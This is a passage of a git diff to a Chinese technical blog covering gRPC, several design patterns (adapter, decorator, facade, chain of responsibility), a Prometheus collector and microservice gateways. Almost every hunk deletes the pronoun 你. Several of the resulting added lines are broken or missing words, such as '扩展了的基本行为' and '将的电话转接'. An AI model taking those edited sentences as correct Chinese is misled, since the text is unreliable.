默认会创建与目录名一致的 package 名称），这样子的 main 方法才能够被调用，并且在**本章中我们的 proto 引用都会以引用别名 pb 来进行调用**。 ### Unary RPC：一元 RPC @@ -419,7 +419,7 @@ func main() { } ``` -- **创建 gRPC Server 对象，你可以理解为它是 Server 端的抽象对象。** +- **创建 gRPC Server 对象，可以理解为它是 Server 端的抽象对象。** - **将 GreeterServer（其包含需要被调用的服务端接口）注册到 gRPC Server。 的内部注册中心。这样可以在接受到请求时，通过内部的 “服务发现”，发现该服务端接口并转接进行逻辑处理。** - **创建 Listen，监听 TCP 端口。** - **gRPC Server 开始 lis.Accept，直到 Stop 或 GracefulStop。** @@ -455,7 +455,7 @@ What is important? ``` - ``` - pb.RegisterGreetServer() 不仅需要一个grpc.NewServer()服务端，还需要你自己抽象出的服务端，&GreeterServer{} + pb.RegisterGreetServer() 不仅需要一个grpc.NewServer()服务端，还需要自己抽象出的服务端，&GreeterServer{} ``` ### Server-side streaming RPC：服务端流式 RPC diff --git a/_posts/2022-07-14-test-markdown.md b/_posts/2022-07-14-test-markdown.md index f683ae1a6b3a..02d2b7757bd4 100644 --- a/_posts/2022-07-14-test-markdown.md +++ b/_posts/2022-07-14-test-markdown.md @@ -13,11 +13,11 @@ tags: [设计模式] ![适配器设计模式](https://refactoringguru.cn/images/patterns/content/adapter/adapter-zh.png) -假如你正在开发一款股票市场监测程序， 它会从不同来源下载 XML 格式的股票数据， 然后向用户呈现出美观的图表。在开发过程中， 你决定在程序中整合一个第三方智能分析函数库。 但是遇到了一个问题， 那就是分析函数库只兼容 JSON 格式的数据。 +假如正在开发一款股票市场监测程序， 它会从不同来源下载 XML 格式的股票数据， 然后向用户呈现出美观的图表。在开发过程中， 决定在程序中整合一个第三方智能分析函数库。 但是遇到了一个问题， 那就是分析函数库只兼容 JSON 格式的数据。 ![整合分析函数库之前的程序结构](https://refactoringguru.cn/images/patterns/diagrams/adapter/problem-zh.png) -你可以修改程序库来支持 XML。 但是， 这可能需要修改部分依赖该程序库的现有代码。 甚至还有更糟糕的情况， 你可能根本没有程序库的源代码， 从而无法对其进行修改。 +可以修改程序库来支持 XML。 但是， 这可能需要修改部分依赖该程序库的现有代码。 甚至还有更糟糕的情况， 可能根本没有程序库的源代码， 从而无法对其进行修改。 ## 解决 @@ -31,9 +31,9 @@ tags: [设计模式] 2. **现有对象**可以使用该接口安全地调用适配器方法。 3. **适配器方法被调用**后将以另一个对象兼容的格式和顺序将请求传递给该对象。 -有时你甚至可以创建一个双向适配器来实现双向转换调用。 +有时甚至可以创建一个双向适配器来实现双向转换调用。 -> 谁适配谁？ A 适配 B 、B 是已经有的库和接口，然后我们去适配， 所以要找到 B 的接口 ，然后用我们需要的适配器去实现 B 的接口 ，适配器在实现B的接口的时候，要做的事就是 在 B的接口对应的函数里面，调用适配器对应的想要调用的函数，那么具体适配器想要调用的函数具体是什么就要看你 想要让 A 如何去适配 B ，如果 A 适配 B 我这里的A 是一系列自己写的函数，那么适配器就搞个函数类型去适配 B ，如果我这里是一堆对象想要去适配 B 那么我就写个适配器对象。第一种在http编程里面有很好的体现。 +> 谁适配谁？ A 适配 B 、B 是已经有的库和接口，然后我们去适配， 所以要找到 B 的接口 ，然后用我们需要的适配器去实现 B 的接口 ，适配器在实现B的接口的时候，要做的事就是 在 B的接口对应的函数里面，调用适配器对应的想要调用的函数，那么具体适配器想要调用的函数具体是什么就要看 想要让 A 如何去适配 B ，如果 A 适配 B 我这里的A 是一系列自己写的函数，那么适配器就搞个函数类型去适配 B ，如果我这里是一堆对象想要去适配 B 那么我就写个适配器对象。第一种在http编程里面有很好的体现。 ``` //golang 的标准库 net/http 提供了 http 编程有关的接口，封装了内部TCP连接和报文解析的复杂琐碎的细节，使用者只需要和 http.request 和 http.ResponseWriter 两个对象交互就行。也就是说，我们只要写一个 handler，请求会通过参数传递进来，而它要做的就是根据请求的数据做处理，把结果写到 Response 中。 diff --git a/_posts/2022-07-16-test-markdown.md b/_posts/2022-07-16-test-markdown.md index 7a28dbd9716d..a7a60e81c04f 100644 --- a/_posts/2022-07-16-test-markdown.md +++ b/_posts/2022-07-16-test-markdown.md @@ -10,16 +10,16 @@ tags: [设计模式] ![装饰设计模式](https://refactoringguru.cn/images/patterns/content/decorator/decorator.png) -**装饰模式**是一种结构型设计模式， 允许你通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为。 +**装饰模式**是一种结构型设计模式， 允许通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为。 - 对象放入包含行为的特殊封装对象 - 特殊封装对象有新的行为 ### 场景 -假设你正在开发一个提供通知功能的库， 其他程序可使用它向用户发送关于重要事件的通知。 +假设正在开发一个提供通知功能的库， 其他程序可使用它向用户发送关于重要事件的通知。 -库的最初版本基于 `通知器``Noti­fi­er`类， 其中只有很少的几个成员变量， 一个构造函数和一个 `send`发送方法。 该方法可以接收来自客户端的消息参数， 并将该消息发送给一系列的邮箱， 邮箱列表则是通过构造函数传递给通知器的。 作为客户端的第三方程序仅会创建和配置通知器对象一次， 然后在有重要事件发生时对其进行调用。此后某个时刻， 你会发现库的用户希望使用除邮件通知之外的功能。 许多用户会希望接收关于紧急事件的手机短信， 还有些用户希望在微信上接收消息， 而公司用户则希望在 QQ 上接收消息。 +库的最初版本基于 `通知器``Noti­fi­er`类， 其中只有很少的几个成员变量， 一个构造函数和一个 `send`发送方法。 该方法可以接收来自客户端的消息参数， 并将该消息发送给一系列的邮箱， 邮箱列表则是通过构造函数传递给通知器的。 作为客户端的第三方程序仅会创建和配置通知器对象一次， 然后在有重要事件发生时对其进行调用。此后某个时刻， 会发现库的用户希望使用除邮件通知之外的功能。 许多用户会希望接收关于紧急事件的手机短信， 还有些用户希望在微信上接收消息， 而公司用户则希望在 QQ 上接收消息。 ![实现其他类型通知后的库结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/problem2-zh.png) @@ -29,17 +29,17 @@ tags: [设计模式] ### 问题 -但是很快有人会问： “为什么不同时使用多种通知形式呢？ 如果房子着火了， 你大概会想在所有渠道中都收到相同的消息吧。” +但是很快有人会问： “为什么不同时使用多种通知形式呢？ 如果房子着火了， 大概会想在所有渠道中都收到相同的消息吧。” -你可以尝试创建一个特殊子类来将多种通知方法组合在一起以解决该问题。 但这种方式会使得代码量迅速膨胀， 不仅仅是程序库代码， 客户端代码也会如此。 +可以尝试创建一个特殊子类来将多种通知方法组合在一起以解决该问题。 但这种方式会使得代码量迅速膨胀， 不仅仅是程序库代码， 客户端代码也会如此。 ![创建组合类后的程序库结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/problem3-zh.png) ### 解决 -- 当你需要更改一个对象的行为时， 第一个跳入脑海的想法就是扩展它所属的类。 但是， 你不能忽视继承可能引发的几个严重问题。 +- 当需要更改一个对象的行为时， 第一个跳入脑海的想法就是扩展它所属的类。 但是， 不能忽视继承可能引发的几个严重问题。 -- 继承是静态的。 你无法在运行时更改已有对象的行为， 只能使用由不同子类创建的对象来替代当前的整个对象。 +- 继承是静态的。 无法在运行时更改已有对象的行为， 只能使用由不同子类创建的对象来替代当前的整个对象。 也就是说，不能更改`Wechat Notiifier`已有的行为，只能用`QQNotifier`来替换。 @@ -54,13 +54,13 @@ tags: [设计模式] 其中一种方法是用*聚合*或*组合* ， 而不是*继承*。 两者的工作方式几乎一模一样： 一个对象*包含*指向另一个对象的引用， 并将部分工作委派给引用对象； 继承中的对象则继承了父类的行为， 它们自己*能够*完成这些工作。 -你可以使用这个新方法来轻松替换各种连接的 “小帮手” 对象， 从而能在运行时改变容器的行为。 一个对象可以使用多个类的行为， 包含多个指向其他对象的引用， 并将各种工作委派给引用对象。 聚合 （或组合） 组合是许多设计模式背后的关键原则 （包括装饰在内）。 记住这一点后， 让我们继续关于模式的讨论。 +可以使用这个新方法来轻松替换各种连接的 “小帮手” 对象， 从而能在运行时改变容器的行为。 一个对象可以使用多个类的行为， 包含多个指向其他对象的引用， 并将各种工作委派给引用对象。 聚合 （或组合） 组合是许多设计模式背后的关键原则 （包括装饰在内）。 记住这一点后， 让我们继续关于模式的讨论。 ![继承与聚合的对比](https://refactoringguru.cn/images/patterns/diagrams/decorator/solution1-zh.png) *封装器*是装饰模式的别称， 这个称谓明确地表达了该模式的主要思想。 “封装器” 是一个能与其他 “目标” 对象连接的对象。 封装器包含与目标对象相同的一系列方法（与被封装对象实现相同的接口）， 它会将所有接收到的请求委派给目标对象。 但是， 封装器可以在将请求委派给目标前后对其进行处理， 所以可能会改变最终结果。 -那么什么时候一个简单的封装器可以被称为是真正的装饰呢？ 正如之前提到的， 封装器实现了与其封装对象相同的接口。 因此从客户端的角度来看， 这些对象是完全一样的。 封装器中的引用成员变量可以是遵循相同接口的任意对象。 这使得你可以将一个对象放入多个封装器中， 并在对象中添加所有这些封装器的组合行为。 +那么什么时候一个简单的封装器可以被称为是真正的装饰呢？ 正如之前提到的， 封装器实现了与其封装对象相同的接口。 因此从客户端的角度来看， 这些对象是完全一样的。 封装器中的引用成员变量可以是遵循相同接口的任意对象。 这使得可以将一个对象放入多个封装器中， 并在对象中添加所有这些封装器的组合行为。 - **封装器实现了与其封装对象相同的接口。 ** - **将请求委派给目标前后对其进行处理** @@ -77,9 +77,9 @@ tags: [设计模式] ![装饰模式示例](https://refactoringguru.cn/images/patterns/content/decorator/decorator-comic-1.png) -穿衣服是使用装饰的一个例子。 觉得冷时， 你可以穿一件毛衣。 如果穿毛衣还觉得冷， 你可以再套上一件夹克。 如果遇到下雨， 你还可以再穿一件雨衣。 所有这些衣物都 “扩展” 了你的基本行为， 但它们并不是你的一部分， 如果你不再需要某件衣物， 可以方便地随时脱掉。 +穿衣服是使用装饰的一个例子。 觉得冷时， 可以穿一件毛衣。 如果穿毛衣还觉得冷， 可以再套上一件夹克。 如果遇到下雨， 还可以再穿一件雨衣。 所有这些衣物都 “扩展” 了的基本行为， 但它们并不是的一部分， 如果不再需要某件衣物， 可以方便地随时脱掉。 -- “扩展” 了你的基本行为， 但它们并不是你的一部分. +- “扩展” 了的基本行为， 但它们并不是的一部分. ### 结构 @@ -145,7 +145,7 @@ class EncryptionDecorator extends DataSourceDecorator is // 2. 如果数据被加密就尝试解密。 // 3. 返回结果。 - // 你可以将对象封装在多层装饰中。 + // 可以将对象封装在多层装饰中。 class CompressionDecorator extends DataSourceDecorator is method writeData(data) is // 1. 压缩传递数据。 @@ -225,11 +225,11 @@ class ApplicationConfigurator is ### 应用场景 - 如果你希望在无需修改代码的情况下即可使用对象， 且希望在运行时为对象新增额外的行为， 可以使用装饰模式。 + 如果希望在无需修改代码的情况下即可使用对象， 且希望在运行时为对象新增额外的行为， 可以使用装饰模式。 - 装饰能将业务逻辑组织为层次结构， 你可为各层创建一个装饰， 在运行时将各种不同逻辑组合成对象。 由于这些对象都遵循通用接口， 客户端代码能以相同的方式使用这些对象。 + 装饰能将业务逻辑组织为层次结构， 可为各层创建一个装饰， 在运行时将各种不同逻辑组合成对象。 由于这些对象都遵循通用接口， 客户端代码能以相同的方式使用这些对象。 - 如果用继承来扩展对象行为的方案难以实现或者根本不可行， 你可以使用该模式。 + 如果用继承来扩展对象行为的方案难以实现或者根本不可行， 可以使用该模式。 许多编程语言使用 `final`最终关键字来限制对某个类的进一步扩展。 复用最终类已有行为的唯一方法是使用装饰模式： 用封装器对其进行封装。 diff --git a/_posts/2022-07-17-test-markdown.md b/_posts/2022-07-17-test-markdown.md index 410298b66bcc..4a828e1068b5 100644 --- a/_posts/2022-07-17-test-markdown.md +++ b/_posts/2022-07-17-test-markdown.md @@ -12,7 +12,7 @@ tags: [设计模式] ### 问题： -假设你必须在代码中使用某个复杂的库或框架中的众多对象。 正常情况下， 你需要负责所有对象的初始化工作、 管理其依赖关系并按正确的顺序执行方法等。 +假设必须在代码中使用某个复杂的库或框架中的众多对象。 正常情况下， 需要负责所有对象的初始化工作、 管理其依赖关系并按正确的顺序执行方法等。 最终， 程序中类的业务逻辑将与第三方类的实现细节紧密耦合， 使得理解和维护代码的工作很难进行。 @@ -20,11 +20,11 @@ tags: [设计模式] 外观类为包含许多活动部件的复杂子系统提供一个简单的接口。 与直接调用子系统相比， 外观提供的功能可能比较有限， 但它却包含了客户端真正关心的功能。 -例如， 上传猫咪搞笑短视频到社交媒体网站的应用可能会用到专业的视频转换库， 但它只需使用一个包含 `encode­(file­name, for­mat)`方法 （以文件名与文件格式为参数进行编码的方法） 的类即可。 在创建这个类并将其连接到视频转换库后， 你就拥有了自己的第一个外观。 +例如， 上传猫咪搞笑短视频到社交媒体网站的应用可能会用到专业的视频转换库， 但它只需使用一个包含 `encode­(file­name, for­mat)`方法 （以文件名与文件格式为参数进行编码的方法） 的类即可。 在创建这个类并将其连接到视频转换库后， 就拥有了自己的第一个外观。 ![电话购物的示例](https://refactoringguru.cn/images/patterns/diagrams/facade/live-example-zh.png) -当你通过电话给商店下达订单时， 接线员就是该商店的所有服务和部门的外观。 接线员为你提供了一个同购物系统、 支付网关和各种送货服务进行互动的简单语音接口。 +当通过电话给商店下达订单时， 接线员就是该商店的所有服务和部门的外观。 接线员为提供了一个同购物系统、 支付网关和各种送货服务进行互动的简单语音接口。 ![电话购物的示例](https://refactoringguru.cn/images/patterns/diagrams/facade/live-example-zh.png) @@ -36,7 +36,7 @@ tags: [设计模式] 创建**附加外观** （Addi­tion­al Facade） 类可以避免多种不相关的功能污染单一外观， 使其变成又一个复杂结构。 客户端和其他外观都可使用附加外观。 -**复杂子系统** （Com­plex Sub­sys­tem） 由数十个不同对象构成。 如果要用这些对象完成有意义的工作， 你必须深入了解子系统的实现细节， 比如按照正确顺序初始化对象和为其提供正确格式的数据。 +**复杂子系统** （Com­plex Sub­sys­tem） 由数十个不同对象构成。 如果要用这些对象完成有意义的工作， 必须深入了解子系统的实现细节， 比如按照正确顺序初始化对象和为其提供正确格式的数据。 子系统类不会意识到外观的存在， 它们在系统内运作并且相互之间可直接进行交互。 @@ -46,7 +46,7 @@ tags: [设计模式] 使用单个外观类隔离多重依赖的示例 -你可以创建一个封装所需功能并隐藏其他代码的外观类， 从而无需使全部代码直接与数十个框架类进行交互。 该结构还能将未来框架升级或更换所造成的影响最小化， 因为你只需修改程序中外观方法的实现即可。 +可以创建一个封装所需功能并隐藏其他代码的外观类， 从而无需使全部代码直接与数十个框架类进行交互。 该结构还能将未来框架升级或更换所造成的影响最小化， 因为只需修改程序中外观方法的实现即可。 ``` // 这里有复杂第三方视频转换框架中的一些类。我们不知晓其中的代码，因此无法 @@ -83,7 +83,7 @@ class VideoConverter is result = (new AudioMixer()).fix(result) return new File(result) -// 应用程序的类并不依赖于复杂框架中成千上万的类。同样，如果你决定更换框架， +// 应用程序的类并不依赖于复杂框架中成千上万的类。同样，如果决定更换框架， // 那只需重写外观类即可。 class Application is method main() is @@ -94,22 +94,22 @@ class Application is ### 适合场景 -- **如果你需要一个指向复杂子系统的直接接口****，** **且该接口的功能有限****，** **则可以使用外观模式****。 +- **如果需要一个指向复杂子系统的直接接口****，** **且该接口的功能有限****，** **则可以使用外观模式****。 - **如果需要将子系统组织为多层结构****，** **可以使用外观****。** -- 创建外观来定义子系统中各层次的入口。 你可以要求子系统仅使用外观来进行交互， 以减少子系统之间的耦合。 -- 让我们回到视频转换框架的例子。 该框架可以拆分为两个层次： 音频相关和视频相关。 你可以为每个层次创建一个外观， 然后要求各层的类必须通过这些外观进行交互。 这种方式看上去与[中介者]模式非常相似。 +- 创建外观来定义子系统中各层次的入口。 可以要求子系统仅使用外观来进行交互， 以减少子系统之间的耦合。 +- 让我们回到视频转换框架的例子。 该框架可以拆分为两个层次： 音频相关和视频相关。 可以为每个层次创建一个外观， 然后要求各层的类必须通过这些外观进行交互。 这种方式看上去与[中介者]模式非常相似。 ### 实现方式 -- 考虑能否在现有子系统的基础上提供一个更简单的接口。 如果该接口能让客户端代码独立于众多子系统类， 那么你的方向就是正确的。 +- 考虑能否在现有子系统的基础上提供一个更简单的接口。 如果该接口能让客户端代码独立于众多子系统类， 那么的方向就是正确的。 - 在一个新的外观类中声明并实现该接口。 外观应将客户端代码的调用重定向到子系统中的相应对象处。 如果客户端代码没有对子系统进行初始化， 也没有对其后续生命周期进行管理， 那么外观必须完成此类工作。 -- 如果要充分发挥这一模式的优势， 你必须确保所有客户端代码仅通过外观来与子系统进行交互。 此后客户端代码将不会受到任何由子系统代码修改而造成的影响， 比如子系统升级后， 你只需修改外观中的代码即可。 -- 如果外观变得过于臃肿 你可以考虑将其部分行为抽取为一个新的专用外观类。 +- 如果要充分发挥这一模式的优势， 必须确保所有客户端代码仅通过外观来与子系统进行交互。 此后客户端代码将不会受到任何由子系统代码修改而造成的影响， 比如子系统升级后， 只需修改外观中的代码即可。 +- 如果外观变得过于臃肿 可以考虑将其部分行为抽取为一个新的专用外观类。 ### 与其他模式的关系 - 外观模式为现有对象定义了一个新接口， 适配器模式]则会试图运用已有的接口。 *适配器*通常只封装一个对象， *外观*通常会作用于整个对象子系统上。 -- 当只需对客户端代码隐藏子系统创建对象的方式时， 你可以使用抽象工厂模式来代替外观 +- 当只需对客户端代码隐藏子系统创建对象的方式时， 可以使用抽象工厂模式来代替外观 - 享元模式展示了如何生成大量的小型对象， 外观]则展示了如何用一个对象来代表整个子系统。 - 外观和中介者的职责类似： 它们都尝试在大量紧密耦合的类中组织起合作。 - *外观*为子系统中的所有对象定义了一个简单接口， 但是它不提供任何新功能。 子系统本身不会意识到外观的存在。 子系统中的对象可以直接进行交流。 diff --git a/_posts/2022-07-18-test-markdown.md b/_posts/2022-07-18-test-markdown.md index 5b8bf48c0b39..fc2758db210b 100644 --- a/_posts/2022-07-18-test-markdown.md +++ b/_posts/2022-07-18-test-markdown.md @@ -13,31 +13,31 @@ tags: [设计模式] ### 目的： -**责任链模式**是一种行为设计模式， 允许你将请求沿着处理者链进行发送。 收到请求后， 每个处理者均可对请求进行处理， 或将其传递给链上的下个处理者。 +**责任链模式**是一种行为设计模式， 允许将请求沿着处理者链进行发送。 收到请求后， 每个处理者均可对请求进行处理， 或将其传递给链上的下个处理者。 ### 问题： -假如你正在开发一个在线订购系统。 你希望对系统访问进行限制， 只允许认证用户创建订单。 此外， 拥有管理权限的用户也拥有所有订单的完全访问权限。 +假如正在开发一个在线订购系统。 希望对系统访问进行限制， 只允许认证用户创建订单。 此外， 拥有管理权限的用户也拥有所有订单的完全访问权限。 -简单规划后， 你会意识到这些检查必须依次进行。 只要接收到包含用户凭据的请求， 应用程序就可尝试对进入系统的用户进行认证。 但如果由于用户凭据不正确而导致认证失败， 那就没有必要进行后续检查了。 +简单规划后， 会意识到这些检查必须依次进行。 只要接收到包含用户凭据的请求， 应用程序就可尝试对进入系统的用户进行认证。 但如果由于用户凭据不正确而导致认证失败， 那就没有必要进行后续检查了。 -在接下来的几个月里， 你实现了后续的几个检查步骤。 +在接下来的几个月里， 实现了后续的几个检查步骤。 -- 一位同事认为直接将原始数据传递给订购系统存在安全隐患。 因此你新增了额外的验证步骤来清理请求中的数据。 -- 过了一段时间， 有人注意到系统无法抵御暴力密码破解方式的攻击。 为了防范这种情况， 你立刻添加了一个检查步骤来过滤来自同一 IP 地址的重复错误请求。 -- 又有人提议你可以对包含同样数据的重复请求返回缓存中的结果， 从而提高系统响应速度。 因此， 你新增了一个检查步骤， 确保只有没有满足条件的缓存结果时请求才能通过并被发送给系统。 +- 一位同事认为直接将原始数据传递给订购系统存在安全隐患。 因此新增了额外的验证步骤来清理请求中的数据。 +- 过了一段时间， 有人注意到系统无法抵御暴力密码破解方式的攻击。 为了防范这种情况， 立刻添加了一个检查步骤来过滤来自同一 IP 地址的重复错误请求。 +- 又有人提议可以对包含同样数据的重复请求返回缓存中的结果， 从而提高系统响应速度。 因此， 新增了一个检查步骤， 确保只有没有满足条件的缓存结果时请求才能通过并被发送给系统。 ![每增加一个检查步骤，程序都变得更加臃肿、混乱和丑陋](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/problem2-zh.png) -检查代码本来就已经混乱不堪， 而每次新增功能都会使其更加臃肿。 修改某个检查步骤有时会影响其他的检查步骤。 最糟糕的是， 当你希望复用这些检查步骤来保护其他系统组件时， 你只能复制部分代码， 因为这些组件只需部分而非全部的检查步骤。 +检查代码本来就已经混乱不堪， 而每次新增功能都会使其更加臃肿。 修改某个检查步骤有时会影响其他的检查步骤。 最糟糕的是， 当希望复用这些检查步骤来保护其他系统组件时， 只能复制部分代码， 因为这些组件只需部分而非全部的检查步骤。 -系统会变得让人非常费解， 而且其维护成本也会激增。 你在艰难地和这些代码共处一段时间后， 有一天终于决定对整个系统进行重构。 +系统会变得让人非常费解， 而且其维护成本也会激增。 在艰难地和这些代码共处一段时间后， 有一天终于决定对整个系统进行重构。 ### 解决： 与许多其他行为设计模式一样， **责任链**会将特定行为转换为被称作*处理者*的独立对象。 在上述示例中， 每个检查步骤都可被抽取为仅有单个方法的类， 并执行检查操作。 请求及其数据则会被作为参数传递给该方法。 -模式建议你将这些处理者连成一条链。 链上的每个处理者都有一个成员变量来保存对于下一处理者的引用。 除了处理请求外， 处理者还负责沿着链传递请求。 请求会在链上移动， 直至所有处理者都有机会对其进行处理。 +模式建议将这些处理者连成一条链。 链上的每个处理者都有一个成员变量来保存对于下一处理者的引用。 除了处理请求外， 处理者还负责沿着链传递请求。 请求会在链上移动， 直至所有处理者都有机会对其进行处理。 最重要的是： 处理者可以决定不再沿着链传递请求， 这可高效地取消所有后续处理步骤。 @@ -56,7 +56,7 @@ tags: [设计模式] ![对象树的枝干可以组成一条链](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/solution2-zh.png) -所有处理者类均实现同一接口是关键所在。 每个具体处理者仅关心下一个包含 `exe­cute`执行方法的处理者。 这样一来， 你就可以在运行时使用不同的处理者来创建链， 而无需将相关代码与处理者的具体类进行耦合。 +所有处理者类均实现同一接口是关键所在。 每个具体处理者仅关心下一个包含 `exe­cute`执行方法的处理者。 这样一来， 就可以在运行时使用不同的处理者来创建链， 而无需将相关代码与处理者的具体类进行耦合。 - 使用不同的处理者来创建链。 - 所有处理者类均实现同一接口。 @@ -64,13 +64,13 @@ tags: [设计模式] ![与技术支持交谈可能不容易](https://refactoringguru.cn/images/patterns/content/chain-of-responsibility/chain-of-responsibility-comic-1-zh.png) -最近， 你刚为自己的电脑购买并安装了一个新的硬件设备。 身为一名极客， 你显然在电脑上安装了多个操作系统， 所以你会试着启动所有操作系统来确认其是否支持新的硬件设备。 Windows 检测到了该硬件设备并对其进行了自动启用。 但是你喜爱的 Linux 系统并不支持新硬件设备。 抱着最后一点希望， 你决定拨打包装盒上的技术支持电话。 +最近， 刚为自己的电脑购买并安装了一个新的硬件设备。 身为一名极客， 显然在电脑上安装了多个操作系统， 所以会试着启动所有操作系统来确认其是否支持新的硬件设备。 Windows 检测到了该硬件设备并对其进行了自动启用。 但是喜爱的 Linux 系统并不支持新硬件设备。 抱着最后一点希望， 决定拨打包装盒上的技术支持电话。 -首先你会听到自动回复器的机器合成语音， 它提供了针对各种问题的九个常用解决方案， 但其中没有一个与你遇到的问题相关。 过了一会儿， 机器人将你转接到人工接听人员处。 +首先会听到自动回复器的机器合成语音， 它提供了针对各种问题的九个常用解决方案， 但其中没有一个与遇到的问题相关。 过了一会儿， 机器人将转接到人工接听人员处。 -这位接听人员同样无法提供任何具体的解决方案。 他不断地引用手册中冗长的内容， 并不会仔细聆听你的回应。 在第 10 次听到 “你是否关闭计算机后重新启动呢？” 这句话后， 你要求与一位真正的工程师通话。 +这位接听人员同样无法提供任何具体的解决方案。 他不断地引用手册中冗长的内容， 并不会仔细聆听的回应。 在第 10 次听到 “是否关闭计算机后重新启动呢？” 这句话后， 要求与一位真正的工程师通话。 -最后， 接听人员将你的电话转接给了工程师， 他或许正缩在某幢办公大楼的阴暗地下室中， 坐在他所深爱的服务器机房里， 焦躁不安地期待着同一名真人交流。 工程师告诉了你新硬件设备驱动程序的下载网址， 以及如何在 Linux 系统上进行安装。 问题终于解决了！ 你挂断了电话， 满心欢喜。 +最后， 接听人员将的电话转接给了工程师， 他或许正缩在某幢办公大楼的阴暗地下室中， 坐在他所深爱的服务器机房里， 焦躁不安地期待着同一名真人交流。 工程师告诉了新硬件设备驱动程序的下载网址， 以及如何在 Linux 系统上进行安装。 问题终于解决了！ 挂断了电话， 满心欢喜。 ### 模式结构： @@ -78,7 +78,7 @@ tags: [设计模式] - **处理者** （Han­dler） 声明了所有具体处理者的通用接口。 该接口通常仅包含单个方法用于请求处理， 但有时其还会包含一个设置链上下个处理者的方法。 -- **基础处理者** （Base Han­dler） 是一个可选的类， 你可以将所有处理者共用的样本代码放置在其中。 +- **基础处理者** （Base Han­dler） 是一个可选的类， 可以将所有处理者共用的样本代码放置在其中。 通常情况下， 该类中定义了一个保存对于下个处理者引用的成员变量。 客户端可通过将处理者传递给上个处理者的构造函数或设定方法来创建链。 该类还可以实现默认的处理行为： 确定下个处理者存在后再将请求传递给它。 @@ -150,18 +150,18 @@ class Application is 确定客户端如何将请求数据传递给方法。 最灵活的方式是将请求转换为对象， 然后将其以参数的形式传递给处理函数。 -- 为了在具体处理者中消除重复的样本代码， 你可以根据处理者接口创建抽象处理者基类。 +- 为了在具体处理者中消除重复的样本代码， 可以根据处理者接口创建抽象处理者基类。 - 该类需要有一个成员变量来存储指向链上下个处理者的引用。 你可以将其设置为不可变类。 但如果你打算在运行时对链进行改变， 则需要定义一个设定方法来修改引用成员变量的值。 + 该类需要有一个成员变量来存储指向链上下个处理者的引用。 可以将其设置为不可变类。 但如果打算在运行时对链进行改变， 则需要定义一个设定方法来修改引用成员变量的值。 - 为了使用方便， 你还可以实现处理方法的默认行为。 如果还有剩余对象， 该方法会将请求传递给下个对象。 具体处理者还能够通过调用父对象的方法来使用这一行为。 + 为了使用方便， 还可以实现处理方法的默认行为。 如果还有剩余对象， 该方法会将请求传递给下个对象。 具体处理者还能够通过调用父对象的方法来使用这一行为。 - 依次创建具体处理者子类并实现其处理方法。 每个处理者在接收到请求后都必须做出两个决定： - 是否自行处理这个请求。 - 是否将该请求沿着链进行传递。 -- 客户端可以自行组装链， 或者从其他对象处获得预先组装好的链。 在后一种情况下， 你必须实现工厂类以根据配置或环境设置来创建链。 +- 客户端可以自行组装链， 或者从其他对象处获得预先组装好的链。 在后一种情况下， 必须实现工厂类以根据配置或环境设置来创建链。 - 客户端可以触发链中的任意处理者， 而不仅仅是第一个。 请求将通过链进行传递， 直至某个处理者拒绝继续传递， 或者请求到达链尾。 - 由于链的动态性， 客户端需要准备好处理以下情况： - 链中可能只有单个链接。 diff --git a/_posts/2022-07-21-test-markdown.md b/_posts/2022-07-21-test-markdown.md index 69ceba397aad..766b242a015d 100644 --- a/_posts/2022-07-21-test-markdown.md +++ b/_posts/2022-07-21-test-markdown.md @@ -179,7 +179,7 @@ func (c *ClusterManager) Describe(ch chan<- *prometheus.Desc) { } } -//Collect方法是核心，它会抓取你需要的所有数据，根据需求对其进行分析，然后将指标发送回客户端库。 +//Collect方法是核心，它会抓取需要的所有数据，根据需求对其进行分析，然后将指标发送回客户端库。 // 用于传递所有可能指标的定义描述符 // 可以在程序运行期间添加新的描述，收集新的指标信息 // 重复的描述符将被忽略。两个不同的Collector不要设置相同的描述符 diff --git a/_posts/2022-07-22-test-markdown.md b/_posts/2022-07-22-test-markdown.md index 5a7babb5f5b9..a7a8f9c30cbd 100644 --- a/_posts/2022-07-22-test-markdown.md +++ b/_posts/2022-07-22-test-markdown.md @@ -25,7 +25,7 @@ tags: [Microservices gateway] ![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/1.png) - 按照职能将服务进行了拆分，这时候从不同的客户端（如 Web、App、3rd）访问，就有可能访问不同的服务。而服务与服务之间又有上下游的协作，调用就变得错综复杂。 -- 你可能需要关注很多问题： +- 可能需要关注很多问题： - 包括不同的技术栈不同的开发语言之间的上下游交互。 - 服务之间的注册与发现，请求认证，接入授权。 - 下游对上游进行调用的时候，上游怎么做负载均衡、故障注入、超时重复、熔断、降级、限流、ABTesting 等，端到端之间如何实现监控和 trace。 @@ -80,7 +80,7 @@ tags: [Microservices gateway] 前面看到，在单体应用中，部署是一件比较麻烦的事情，每次的改动，都需要把整个应用程序都发布启动一次。而且系统规模越大，部署过程越复杂，时间越长。 -而在微服务架构中，模块部署起来相对更快，更容易。你可以在短时间内对于同一个模块做多次部署，网关可以帮你实现蓝绿部署。 +而在微服务架构中，模块部署起来相对更快，更容易。可以在短时间内对于同一个模块做多次部署，网关可以帮实现蓝绿部署。 如图所示之前的用户服务版本是 V1.0，然后部署 V1.1 版本，在网关上只需要做一个转发配置的修改，就可以迅速的将所有流量都流到新版本。 @@ -88,7 +88,7 @@ tags: [Microservices gateway] ![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/5.png) -类似金丝雀的理念，你对一次性升级版本感到担忧，可以先配置 5%的流量达到新版本，让部分人试用一下，等线上观察一段时间后，可以逐步增加对新版本的流量百分比，最终实现百分之百切流。 +类似金丝雀的理念，对一次性升级版本感到担忧，可以先配置 5%的流量达到新版本，让部分人试用一下，等线上观察一段时间后，可以逐步增加对新版本的流量百分比，最终实现百分之百切流。 ###### **负载均衡** @@ -118,9 +118,9 @@ tags: [Microservices gateway] 微服务注册与发现类似于生活中的"电话通讯录"的概念，它记录了通讯录服务和电话的映射关系。在分布式架构中，服务会注册进去，当服务需要调用其它服务时，就这里找到服务的地址，进行调用。 -- 你先要把"好友某某"记录在通讯录中 +- 先要把"好友某某"记录在通讯录中 - 拨打电话的时候通过通讯录中找到"好友某某"，并拨通回电话。 -- 